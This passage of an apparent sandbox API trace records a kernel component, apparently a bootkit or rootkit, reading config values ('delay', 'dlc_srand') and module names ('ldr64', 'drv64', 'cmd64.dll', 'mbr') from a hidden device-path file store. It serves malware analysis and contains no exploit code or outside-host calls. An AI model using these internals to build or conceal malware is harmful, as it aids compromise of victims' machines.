FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.258] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.258] IdePortDispatch () returned 0x103 [0130.258] KeWaitForMutexObject () returned 0x0 [0130.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.258] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.258] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.258] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.258] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.258] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cfb0 [0130.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.258] KeLeaveCriticalRegion () [0130.258] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.258] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.258] KeEnterCriticalRegion () [0130.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.258] KeLeaveCriticalRegion () [0130.258] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.258] KeEnterCriticalRegion () [0130.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.258] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.258] IdePortDispatch () returned 0x103 [0130.258] KeWaitForMutexObject () returned 0x0 [0130.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.259] KeLeaveCriticalRegion () [0130.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.259] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.259] KeEnterCriticalRegion () [0130.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4c000 [0130.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.259] IdePortDispatch () returned 0x103 [0130.259] KeWaitForMutexObject () returned 0x0 [0130.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.259] IdePortDispatch () returned 0x103 [0130.259] KeWaitForMutexObject () returned 0x0 [0130.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] KeLeaveCriticalRegion () [0130.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.260] KeEnterCriticalRegion () [0130.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] KeLeaveCriticalRegion () [0130.260] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.260] KeEnterCriticalRegion () [0130.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.260] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] KeLeaveCriticalRegion () [0130.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.260] KeEnterCriticalRegion () [0130.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] ExFreePoolWithTag (P=0xfffffa800294cfb0, Tag=0x0) [0130.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.260] KeLeaveCriticalRegion () [0130.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.261] ReleaseMutex (hMutex=0xf0) returned 1 [0130.261] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.261] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.261] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.261] KeEnterCriticalRegion () [0130.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.261] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.261] IdePortDispatch () returned 0x103 [0130.261] KeWaitForMutexObject () returned 0x0 [0130.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.261] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.261] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.261] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.261] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.261] KeLeaveCriticalRegion () [0130.261] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.261] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.261] KeEnterCriticalRegion () [0130.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.261] KeLeaveCriticalRegion () [0130.261] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.261] KeEnterCriticalRegion () [0130.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.262] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.262] IdePortDispatch () returned 0x103 [0130.262] KeWaitForMutexObject () returned 0x0 [0130.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.262] KeLeaveCriticalRegion () [0130.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.262] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.262] KeEnterCriticalRegion () [0130.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4d000 [0130.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.262] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.262] IdePortDispatch () returned 0x103 [0130.262] KeWaitForMutexObject () returned 0x0 [0130.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.262] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.262] IdePortDispatch () returned 0x103 [0130.263] KeWaitForMutexObject () returned 0x0 [0130.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.263] KeLeaveCriticalRegion () [0130.263] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.263] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.263] KeEnterCriticalRegion () [0130.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.263] KeLeaveCriticalRegion () [0130.263] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.263] KeEnterCriticalRegion () [0130.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.263] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.263] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.263] KeLeaveCriticalRegion () [0130.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.264] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.264] KeEnterCriticalRegion () [0130.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.264] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.264] KeLeaveCriticalRegion () [0130.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.264] ReleaseMutex (hMutex=0xf0) returned 1 [0130.264] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.264] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.264] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.264] KeEnterCriticalRegion () [0130.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.264] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.264] IdePortDispatch () returned 0x103 [0130.264] KeWaitForMutexObject () returned 0x0 [0130.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.264] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.264] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.264] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.264] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.264] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.264] KeLeaveCriticalRegion () [0130.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.265] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.265] KeEnterCriticalRegion () [0130.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.265] KeLeaveCriticalRegion () [0130.265] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.265] KeEnterCriticalRegion () [0130.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.265] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.265] IdePortDispatch () returned 0x103 [0130.265] KeWaitForMutexObject () returned 0x0 [0130.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.265] KeLeaveCriticalRegion () [0130.265] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.265] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.265] KeEnterCriticalRegion () [0130.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d4e000 [0130.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.265] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.265] IdePortDispatch () returned 0x103 [0130.265] KeWaitForMutexObject () returned 0x0 [0130.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.266] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.266] IdePortDispatch () returned 0x103 [0130.266] KeWaitForMutexObject () returned 0x0 [0130.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.266] KeLeaveCriticalRegion () [0130.266] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.266] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.266] KeEnterCriticalRegion () [0130.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] KeLeaveCriticalRegion () [0130.267] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.267] KeEnterCriticalRegion () [0130.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.267] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] KeLeaveCriticalRegion () [0130.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.267] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.267] KeEnterCriticalRegion () [0130.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] ExFreePoolWithTag (P=0xfffffa800294c660, Tag=0x0) [0130.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] KeLeaveCriticalRegion () [0130.267] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.267] ReleaseMutex (hMutex=0xf0) returned 1 [0130.267] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.267] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.267] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.267] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.267] KeEnterCriticalRegion () [0130.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.267] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.267] IdePortDispatch () returned 0x103 [0130.267] KeWaitForMutexObject () returned 0x0 [0130.268] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.268] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.268] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.268] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.268] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.268] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.268] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.268] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.268] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.268] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.268] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.268] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.268] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.268] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.268] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.268] KeLeaveCriticalRegion () [0130.268] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.268] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.268] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.268] KeEnterCriticalRegion () [0130.268] ExAcquireFastMutexUnsafe (in: 